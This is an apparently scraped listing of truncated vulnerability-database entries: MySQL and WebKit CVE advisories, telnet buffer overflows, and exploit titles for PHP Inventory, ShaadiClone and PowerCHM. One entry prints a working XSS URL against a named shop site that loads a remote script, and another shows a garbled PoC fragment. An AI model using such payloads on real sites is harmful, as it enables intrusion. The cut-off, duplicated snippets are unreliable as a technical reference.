PHP Inventory 1.2 - Authentication Bypass

PHP Inventory 1.2 - Authentication Bypass PHP Inventory v1.2 Remote Auth Bypass SQL Injection Vulnerabiity Found By: mrme Download: http://www.phpwares.com/content/php-inventory Tested On: Windows Vista Note: For educational purposes only First of all lets login to admin with:...

Illogator Shop Cross Site Scripting

------------------------ - ILLOGATOR SHOP / XSS - ------------------------ index.php?section=bycategory&subcatid=4&subname=xss EXAMPLE : http://illogator.com/index.php?section=bycategory&subcatid=4&subname=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2FSCRIPT%3E...

MySQL 5.0 < 5.0.88 Multiple Vulnerabilities

The version of MySQL 5.0 installed on the remote host is earlier than 5.0.88. It is, therefore, potentially affected by the following vulnerabilities : - MySQL clients linked against OpenSSL are vulnerable to man-in-the-middle attacks. Bug 47320 - The GeomFromWKB function can be manipulated to...

MySQL 5.1 < 5.1.41 Multiple Vulnerabilities

The version of MySQL 5.1 installed on the remote host is earlier than 5.1.41 and is, therefore, potentially affected by the following vulnerabilities : - An incomplete fix was provided in 5.1.24 for CVE-2008-2079, a symlink-related privilege escalation issue. Bug 39277 - MySQL clients linked...

MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service

MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service source: https://www.securityfocus.com/bid/37297/info MySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions. An attacker can exploit these issues to crash the...

MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service

source: https://www.securityfocus.com/bid/37297/info MySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions. An attacker can exploit these issues to crash the application, denying access to legitimate users. Versions prior to MySQL...

CVE-2009-2841

The HTMLMediaElement::loadResource function in html/HTMLMediaElement.cpp in WebCore in WebKit before r49480, as used in Apple Safari before 4.0.4 on Mac OS X, does not perform the expected callbacks for HTML 5 media elements that have external URLs for media resources, which allows remote attacke...

CVE-2009-2841

The HTMLMediaElement::loadResource function in html/HTMLMediaElement.cpp in WebCore in WebKit before r49480, as used in Apple Safari before 4.0.4 on Mac OS X, does not perform the expected callbacks for HTML 5 media elements that have external URLs for media resources, which allows remote attacke...

Design/Logic Flaw

The HTMLMediaElement::loadResource function in html/HTMLMediaElement.cpp in WebCore in WebKit before r49480, as used in Apple Safari before 4.0.4 on Mac OS X, does not perform the expected callbacks for HTML 5 media elements that have external URLs for media resources, which allows remote attacke...

CVE-2009-2841

The HTMLMediaElement::loadResource function in html/HTMLMediaElement.cpp in WebCore in WebKit before r49480, as used in Apple Safari before 4.0.4 on Mac OS X, does not perform the expected callbacks for HTML 5 media elements that have external URLs for media resources, which allows remote attacke...

CVE-2009-2841

Removed by vendor...

CVE-2009-2841

CVE-2009-2841 affects WebKit’s HTMLMediaElement: loadResource in WebCore (WebKit before r49480) used by Safari before 4.0.4 on macOS. The vulnerability arises because HTML5 media elements with external URLs do not perform the expected callbacks, enabling a remote attacker to trigger sub-resource ...

CVE-2009-2841: Undefined Security Weakness

The HTMLMediaElement::loadResource function in html/HTMLMediaElement.cpp in WebCore in WebKit before r49480, as used in Apple Safari before 4.0.4 on Mac OS X, does not perform the expected callbacks for HTML 5 media elements that have external URLs for media resources, which allows remote attacke...

Multiple Vendor Telnet Client env_opt_add Buffer Overflow (CVE-2005-0468)

The TELNET protocol is designed to provide a standard method of interfacing terminal devices and terminal-oriented processes to each other. It allows a computer to act as a remote terminal of another machine on a network. The TELNET protocol allows a user to connect to a remote host in order to...

Multiple Vendor Telnet Client LINEMODE Buffer Overflow (CVE-2005-0469)

The TELNET protocol is designed to provide a standard method of interfacing terminal devices and terminal-oriented processes to each other. It allows a computer to act as a remote terminal of another machine on a network. The TELNET protocol allows a user to connect to a remote host in order to...

CVE-2009-3156: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Date Tools sub-module in the Date module 6.x before 6.x-2.3 for Drupal allows remote authenticated users, with "use date tools" or "administer content types" privileges, to inject arbitrary web script or HTML via a "Content type label" field...

RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2007:0167)

java-1.5.0-ibm packages that correct a security issue are available for Red Hat Enterprise Linux 5 Supplementary and Enterprise Linux 4 Extras. This update has been rated as having critical security impact by the Red Hat Security Response Team. IBM's 1.5.0 Java release includes the IBM Java 2...

ShaadiClone 2.0 (addadminmembercode.php) Add Admin Exploit

No description provided by source. !-- » ShaadiClone v2.0 addadminmembercode.php Add Admin » Live Demo: http://www.shaadiclone.com/demo/index.php » By: x.CJP.x » Greeting : His0k4,Sub-Zero,Bibi-info,Aach2006,Youness,Simitch,Halimz,B0ub0u,Mun3im.. := » Note:Walleh Ghir 3la Jalek Lakhater W3adtek T...

PowerCHM 5.7 (Long URL) Local Stack Overflow PoC

Exploit for unknown platform in category dos / poc ================================================ PowerCHM 5.7 Long URL Local Stack Overflow PoC ================================================ PowerCHM 5.7 Long url Local stack overflow SEH POC found By SuB-ZeRo email protected thnaks to hisok4...

PowerCHM 5.7 - Long URL Local Stack Overflow (PoC)

PowerCHM 5.7 Long url Local stack overflow SEH POC found By SuB-ZeRo [email protected] thnaks to hisok4 Greetz:All friends and muslims HackeRs secdz.com var crash = "http://"; for i=0;iB00M!'; milw0rm.com 2009-04-14...